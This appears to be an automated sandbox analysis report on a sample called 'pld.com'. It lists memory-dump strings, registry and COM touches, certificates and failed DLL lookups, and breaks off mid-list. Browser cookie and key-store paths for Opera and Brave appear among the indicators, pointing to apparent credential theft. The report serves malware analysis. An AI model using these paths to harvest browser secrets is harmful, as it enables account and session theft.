IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_curve25519.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT38:T4e8d,"SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001384.00000000.184119.0A280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000000.184119.0A480000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001384.00000000.184119.0A580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001384.00000000.184119.0A780000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001384.00000000.184119.0A780000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000000.184119.0B180000.00000004.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Network\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Local State" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Network\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Local State" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Network\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Network\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Local State" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Cookies" in Source: 00000000-00001384.00000000.184119.0B280000.00000004.mdmp "SOFTWARE\Python\PythonCore\%s\PythonPath\win32com" in Source: 00000000-00001384.00000000.184119.0B380000.00000004.mdmp "ftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages\Microsoft.WindowsStore_22502.1401.11.0_x64__8wekyb3d8bbwe\App\Capabilities" in Source: 00000000-00001384.00000001.186039.09980000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001384.00000001.186039.0A280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000001.186039.0A480000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001384.00000001.186039.0A580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001384.00000001.186039.0A780000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001384.00000001.186039.0A780000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001384.00000001.186039.0B101000.00000004.mdmp "hine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000" in Source: 00000000-00001384.00000001.186039.0B101000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000001.186039.0B180000.00000004.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Network\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Local State" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Network\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Local State" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Network\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Network\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Local State" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Cookies" in Source: 00000000-00001384.00000001.186039.0B280000.00000004.mdmp "SOFTWARE\Python\PythonCore\%s\PythonPath\win32com" in Source: 00000000-00001384.00000001.186039.0B380000.00000004.mdmp "Registry\Machine\Software\Classes\WOW64" in Source: 00000000-00001384.00000001.186039.1A030000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{FK" in Source: 00000000-00001384.00000001.186039.1A030000.00000004.mdmp "ME=\Registry\Machine\Software\Classes\WOW6432Node\C" in Source: 00000000-00001384.00000001.186039.1A030000.00000004.mdmp "PROCESSOR_LEVEL=\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0i" in Source: 00000000-00001384.00000001.186039.1A030000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001384.00000002.187961.0A280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000002.187961.0A480000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001384.00000002.187961.0A580000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001384.00000002.187961.0A780000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001384.00000002.187961.0A780000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001384.00000002.187961.0B180000.00000004.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Network\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Local State" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Network\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera GX {channel}\Local State" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Network\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Default\Network\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Profile *\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "BraveSoftware\Brave-Browser{channel}\User Data\Local State" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "Opera Software\Opera {channel}\Cookies" in Source: 00000000-00001384.00000002.187961.0B280000.00000004.mdmp "SOFTWARE\Python\PythonCore\%s\PythonPath\win32com" in Source: 00000000-00001384.00000002.187961.0B380000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "??\c:\users\pczzzth\appdata\local\bravesoftware\brave-browser-nightly\user data\default\network\cookies" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0i" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1271187874-1938232448-3812392235-1001\{53269E89-2BC0-454F-8DD0-513552255C7F}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00001384.00000002.187961.1A030000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}" in Source: 00000000-00001384.00000002.187961.1A1F2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}Y" in Source: 00000000-00001384.00000002.187961.1A1F2000.00000004.mdmp "chine\Software\Classes\WOW6432Node\" in Source: 00000000-00001384.00000002.187961.1A245000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001384.00000002.187961.1A245000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001384.00000002.187961.1A245000.00000004.mdmp "\Software\C" in Source: 00000000-00001384.00000002.187961.1A245000.00000004.mdmp "C:\Users\PcZzZTh\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp "C:\Users\PcZzZTh\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp "C:\Users\PcZzZTh\AppData\Roaming\Opera Software\Opera Neon" in Source: 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp "Users\PcZzZTh\AppData\Roaming\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp "C:\Users\PcZzZTh\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00001384.00000002.187961.F3823000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00001384.00000002.187961.F3823000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00001384.00000002.187961.F3823000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005996.00000000.185766.EC860000.00000002.mdmp "Software\Microsoft\Edge" in Source: 00000000-00005996.00000000.185766.EC860000.00000002.mdmp "Registry\Machine\Software\Classes\Interface\{E44EA1DF-BB85-5A8C-BDDC-C8E960C355C9}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{79AB57F6-43FE-487B-8A7F-99567200AE94}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{8CBD762A-1222-5EE5-B745-489E7A42C6EC}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{61424521-07B6-40D2-9323-B78CDAE5EB61}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{62AE0FDA-B238-554F-A275-1DC16D6CA03A}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{2C08602F-40B1-5E97-AE21-5C04D7FB829C}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{155EB23B-242A-45E0-A2E9-3171FC6A7FDD}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{8445D2AE-DD03-5B98-95E4-82B43A3F0D64}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{350E1244-4575-45EE-8595-0AA8C6506FC7}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{926516E8-D891-45BC-9DE5-6959FB8ECAC5}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{99B29D3B-368A-4BE6-B675-805A69114497}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "chine\Software\C" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "e\Software\Class" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "eRep\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Shell\Update" in Source: 00000000-00006496.00000000.186093.2CC87000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange\" in Source: 00000000-00006496.00000000.186093.2CCBB000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{E44EA1DF-BB85-5A8C-BDDC-C8E960C355C9}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{79AB57F6-43FE-487B-8A7F-99567200AE94}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{61424521-07B6-40D2-9323-B78CDAE5EB61}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{62AE0FDA-B238-554F-A275-1DC16D6CA03A}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{8445D2AE-DD03-5B98-95E4-82B43A3F0D64}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{350E1244-4575-45EE-8595-0AA8C6506FC7}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Interface\{926516E8-D891-45BC-9DE5-6959FB8ECAC5}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{9CFC2DF3-6BA3-46EF-A836-E519E81F0EC4}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "eRep\Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{0C9281F9-6DA1-4006-8729-DE6E6B61581C}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006496.00000001.186865.2CC87000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace_36354489" in Source: 00000000-00006496.00000001.186865.2CCBB000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager" in Source: 00000000-00006496.00000001.186865.2CCBB000.00000004.mdmp "S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\PSR" in Source: 00000000-00006496.00000001.186865.2CCBB000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.32300000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.32300000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.32300000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.32300000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006496.00000001.186865.32324000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Edge" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "SOFTWARE\Classes" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "Microsoft\SOFTWARE\Microsoft\Shared Tools\MSInfo" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "SOFTWARE\Policies\" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "Software\" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "Software\Microsoft\EdgeUpdate\Clients\" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "Software\Microsoft\EdgeUpdate\ClientState\" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "Software\Microsoft\EdgeUpdate\ClientStateMedium\" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006496.00000001.186865.D31C1000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006496.00000001.186865.EC860000.00000002.mdmp "Software\Microsoft\Edge" in Source: 00000000-00006496.00000001.186865.EC860000.00000002.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007420.00000000.181700.1F940000.00000004.mdmp39:Taa3,"pld.com" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "pld.com" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "pld.com" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\TREATAS") "pld.com" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "pld.com" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "pld.com" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "pld.com" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "pld.com" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "pld.com" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "pld.com" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "pld.com" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "pld.com" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "pld.com" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "pld.com" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "pld.com" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "pld.com" touched "System Device Enumerator" (Path: "HKCU\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\TREATAS") "pld.com" touched "VFW Capture Class Manager" (Path: "HKCU\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}\TREATAS") "identity_helper.exe" touched "Windows Search Manager" (Path: "HKCU\CLSID\{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39}\TREATAS") "identity_helper.exe" touched "Windows Push Notification Developer Proxy Stub" (Path: "HKCU\CLSID\{6DB7CD52-E3B7-4ECC-BB1F-388AEEF6BB50}\TREATAS") "identity_helper.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "identity_helper.exe" touched "Property System Apartment Class Factory" (Path: "HKCU\CLSID\{9CFC2DF3-6BA3-46EF-A836-E519E81F0EC4}\TREATAS") "identity_helper.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS")3a:T9fc,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: DD:7B:06:F7:F8:8C:6B:92:7D:5F:7A:64:53:F0:C9:28:B2:B0:39:43; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 33:E9:40:5A:E9:54:CE:24:C3:C8:64:B0:1E:38:A7:80:CA:8B:75:E8; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 ECC CA OCSP 02, O=Microsoft Corporation, C=US" (SHA1: BC:24:6D:76:8E:E8:60:61:7C:52:4E:6B:3E:25:D8:A4:91:8B:82:B9; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS ECC Root G2, O=Microsoft Corporation, C=US" (SHA1: 33:6D:3E:54:51:31:52:94:F6:E1:E7:CF:DA:84:E5:1C:8B:1E:40:54; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 7F:A0:5A:CF:9B:4A:AB:B0:DE:0C:FA:FA:29:7D:DF:92:FD:C5:F3:F5; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 0E:6D:C6:FB:62:CF:F4:ED:02:D1:B3:B2:C3:8C:9C:73:8E:92:BD:62; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 49:F7:ED:65:F5:94:3A:20:66:B9:69:ED:E8:57:20:E3:68:8F:92:90; see report for more information)3b:T854,"pld.com" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\VCRUNTIME140.dll" "pld.com" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\VCRUNTIME140_1.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\VERSION.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\bcrypt.dll" "pld.com" trying to access non-existent file "C:\Users\Public\pld.com.exe" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\IPHLPAPI.DLL" "pld.com" trying to access non-existent file "C:\Users\Public\IPHLPAPI.DLL" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\pywin32_system32\IPHLPAPI.DLL" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\PROPSYS.dll" "pld.com" trying to access non-existent file "C:\Users\Public\PROPSYS.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\pywin32_system32\PROPSYS.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\psutil\pdh.dll" "pld.com" trying to access non-existent file "C:\Users\Public\pdh.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\pywin32_system32\pdh.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\pdh.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\psutil\POWRPROF.dll" "pld.com" trying to access non-existent file "C:\Users\Public\POWRPROF.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\pywin32_system32\POWRPROF.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\POWRPROF.dll" "pld.com" trying to access non-existent file "C:\Users\Public\wtsapi32.dll" "pld.com" trying to access non-existent file "C:\Users\PcZzZTh\AppData\Local\Temp\_MEI74202\wtsapi32.dll"3c:T64a,Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API "CreateNamedPipe" (Indicator: "CreateNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 